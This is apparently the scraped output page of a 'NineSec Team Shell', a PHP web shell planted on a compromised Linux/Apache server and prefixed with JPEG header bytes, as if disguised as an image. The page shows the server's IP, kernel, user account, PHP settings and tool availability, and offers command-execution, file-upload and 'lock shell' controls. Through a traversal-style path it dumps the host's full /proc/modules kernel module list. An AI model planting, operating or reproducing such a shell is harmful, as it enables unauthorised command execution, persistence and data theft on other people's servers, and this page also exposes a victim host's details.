�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.130
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0) :  /home/../lib/../etc/security/../fonts/../python3.8/../init.d/../../proc/1976168/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../lib/../etc/security/../fonts/../python3.8/../init.d/../../proc/1976168/../modules
xt_set 20480 5 - Live 0x0000000000000000
xt_multiport 16384 5 - Live 0x0000000000000000
ip_set_hash_ip 49152 5 - Live 0x0000000000000000
ip6t_REJECT 12288 11 - Live 0x0000000000000000
nf_reject_ipv6 20480 1 ip6t_REJECT, Live 0x0000000000000000
ip6t_rpfilter 12288 1 - Live 0x0000000000000000
ipt_REJECT 12288 7 - Live 0x0000000000000000
nf_reject_ipv4 12288 1 ipt_REJECT, Live 0x0000000000000000
xt_conntrack 12288 49 - Live 0x0000000000000000
nf_conntrack_ftp 24576 2 - Live 0x0000000000000000
xt_CT 12288 2 - Live 0x0000000000000000
ip6table_nat 12288 1 - Live 0x0000000000000000
ip6table_mangle 12288 1 - Live 0x0000000000000000
ip6table_security 12288 1 - Live 0x0000000000000000
iptable_nat 12288 1 - Live 0x0000000000000000
nf_nat 61440 2 ip6table_nat,iptable_nat, Live 0x0000000000000000
nf_conntrack 180224 4 xt_conntrack,nf_conntrack_ftp,xt_CT,nf_nat, Live 0x0000000000000000
nf_defrag_ipv6 24576 1 nf_conntrack, Live 0x0000000000000000
nf_defrag_ipv4 12288 1 nf_conntrack, Live 0x0000000000000000
iptable_mangle 12288 1 - Live 0x0000000000000000
iptable_security 12288 1 - Live 0x0000000000000000
xt_tcpudp 16384 45 - Live 0x0000000000000000
veth 40960 0 - Live 0x0000000000000000
ebtable_filter 12288 0 - Live 0x0000000000000000
ebtables 45056 1 ebtable_filter, Live 0x0000000000000000
ip_set 61440 2 xt_set,ip_set_hash_ip, Live 0x0000000000000000
ip6table_raw 12288 1 - Live 0x0000000000000000
iptable_raw 12288 1 - Live 0x0000000000000000
ip6table_filter 12288 1 - Live 0x0000000000000000
ip6_tables 32768 5 ip6table_nat,ip6table_mangle,ip6table_security,ip6table_raw,ip6table_filter, Live 0x0000000000000000
iptable_filter 12288 1 - Live 0x0000000000000000
nf_tables 360448 36 - Live 0x0000000000000000
softdog 12288 2 - Live 0x0000000000000000
bonding 245760 0 - Live 0x0000000000000000
tls 147456 1 bonding, Live 0x0000000000000000
isofs 61440 0 - Live 0x0000000000000000
sunrpc 786432 1 - Live 0x0000000000000000
binfmt_misc 24576 1 - Live 0x0000000000000000
nfnetlink_log 24576 1 - Live 0x0000000000000000
intel_rapl_msr 20480 0 - Live 0x0000000000000000
intel_rapl_common 49152 1 intel_rapl_msr, Live 0x0000000000000000
intel_uncore_frequency 12288 0 - Live 0x0000000000000000
intel_uncore_frequency_common 16384 1 intel_uncore_frequency, Live 0x0000000000000000
x86_pkg_temp_thermal 16384 0 - Live 0x0000000000000000
intel_powerclamp 24576 0 - Live 0x0000000000000000
coretemp 20480 0 - Live 0x0000000000000000
kvm_intel 532480 4 - Live 0x0000000000000000
ipmi_ssif 45056 0 - Live 0x0000000000000000
kvm 1376256 3 kvm_intel, Live 0x0000000000000000
irqbypass 16384 1 kvm, Live 0x0000000000000000
polyval_clmulni 12288 0 - Live 0x0000000000000000
acpi_power_meter 20480 0 - Live 0x0000000000000000
intel_pmc_core 135168 0 - Live 0x0000000000000000
ghash_clmulni_intel 12288 0 - Live 0x0000000000000000
acpi_ipmi 20480 1 acpi_power_meter, Live 0x0000000000000000
pmt_telemetry 16384 1 intel_pmc_core, Live 0x0000000000000000
ipmi_si 86016 1 - Live 0x0000000000000000
pmt_discovery 16384 1 pmt_telemetry, Live 0x0000000000000000
aesni_intel 94208 0 - Live 0x0000000000000000
ipmi_devintf 20480 0 - Live 0x0000000000000000
cmdlinepart 16384 0 - Live 0x0000000000000000
pmt_class 20480 2 pmt_telemetry,pmt_discovery, Live 0x0000000000000000
mac_hid 12288 0 - Live 0x0000000000000000
mei_me 53248 0 - Live 0x0000000000000000
i2c_algo_bit 16384 0 - Live 0x0000000000000000
acpi_tad 20480 0 - Live 0x0000000000000000
intel_pmc_ssram_telemetry 16384 1 intel_pmc_core, Live 0x0000000000000000
ipmi_msghandler 86016 4 ipmi_ssif,acpi_ipmi,ipmi_si,ipmi_devintf, Live 0x0000000000000000
spi_nor 163840 0 - Live 0x0000000000000000
intel_cstate 20480 0 - Live 0x0000000000000000
mtd 98304 3 cmdlinepart,spi_nor, Live 0x0000000000000000
intel_vsec 24576 2 pmt_telemetry,intel_pmc_ssram_telemetry, Live 0x0000000000000000
mei 172032 1 mei_me, Live 0x0000000000000000
acpi_pad 184320 0 - Live 0x0000000000000000
sch_fq_codel 24576 14 - Live 0x0000000000000000
msr 12288 0 - Live 0x0000000000000000
vhost_net 32768 1 - Live 0x0000000000000000
vhost 69632 1 vhost_net, Live 0x0000000000000000
vhost_iotlb 16384 1 vhost, Live 0x0000000000000000
tap 28672 1 vhost_net, Live 0x0000000000000000
efi_pstore 12288 0 - Live 0x0000000000000000
nfnetlink 20480 6 ip_set,nf_tables,nfnetlink_log, Live 0x0000000000000000
zfs 6344704 6 - Live 0x0000000000000000 (PO)
spl 151552 1 zfs, Live 0x0000000000000000 (O)
dmi_sysfs 20480 0 - Live 0x0000000000000000
ip_tables 32768 5 iptable_nat,iptable_mangle,iptable_security,iptable_raw,iptable_filter, Live 0x0000000000000000
x_tables 57344 21 xt_set,xt_multiport,ip6t_REJECT,ip6t_rpfilter,ipt_REJECT,xt_conntrack,xt_CT,ip6table_nat,ip6table_mangle,ip6table_security,iptable_nat,iptable_mangle,iptable_security,xt_tcpudp,ebtables,ip6table_raw,iptable_raw,ip6table_filter,ip6_tables,iptable_filter,ip_tables, Live 0x0000000000000000
autofs4 57344 2 - Live 0x0000000000000000
raid10 73728 0 - Live 0x0000000000000000
raid456 184320 0 - Live 0x0000000000000000
async_raid6_recov 20480 1 raid456, Live 0x0000000000000000
async_memcpy 16384 2 raid456,async_raid6_recov, Live 0x0000000000000000
async_pq 20480 2 raid456,async_raid6_recov, Live 0x0000000000000000
async_xor 16384 3 raid456,async_raid6_recov,async_pq, Live 0x0000000000000000
async_tx 16384 5 raid456,async_raid6_recov,async_memcpy,async_pq,async_xor, Live 0x0000000000000000
xor 24576 1 async_xor, Live 0x0000000000000000
raid6_pq 122880 3 raid456,async_raid6_recov,async_pq, Live 0x0000000000000000
raid0 24576 0 - Live 0x0000000000000000
linear 16384 0 - Live 0x0000000000000000
raid1 57344 4 - Live 0x0000000000000000
ixgbe 524288 0 - Live 0x0000000000000000
xhci_pci 24576 0 - Live 0x0000000000000000
xfrm_algo 16384 1 ixgbe, Live 0x0000000000000000
spi_intel_pci 12288 0 - Live 0x0000000000000000
mdio 12288 1 ixgbe, Live 0x0000000000000000
i2c_i801 36864 0 - Live 0x0000000000000000
intel_lpss_pci 28672 0 - Live 0x0000000000000000
intel_ish_ipc 32768 0 - Live 0x0000000000000000
ahci 49152 10 - Live 0x0000000000000000
i2c_mux 12288 1 i2c_i801, Live 0x0000000000000000
intel_lpss 12288 1 intel_lpss_pci, Live 0x0000000000000000
xhci_hcd 389120 1 xhci_pci, Live 0x0000000000000000
spi_intel 32768 1 spi_intel_pci, Live 0x0000000000000000
intel_ishtp 69632 1 intel_ish_ipc, Live 0x0000000000000000
i2c_smbus 20480 1 i2c_i801, Live 0x0000000000000000
dca 20480 1 ixgbe, Live 0x0000000000000000
idma64 20480 0 - Live 0x0000000000000000
libahci 53248 1 ahci, Live 0x0000000000000000
video 77824 0 - Live 0x0000000000000000
wmi 28672 1 video, Live 0x0000000000000000
pinctrl_tigerlake 28672 0 - Live 0x0000000000000000

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options

NineSec Team - 2022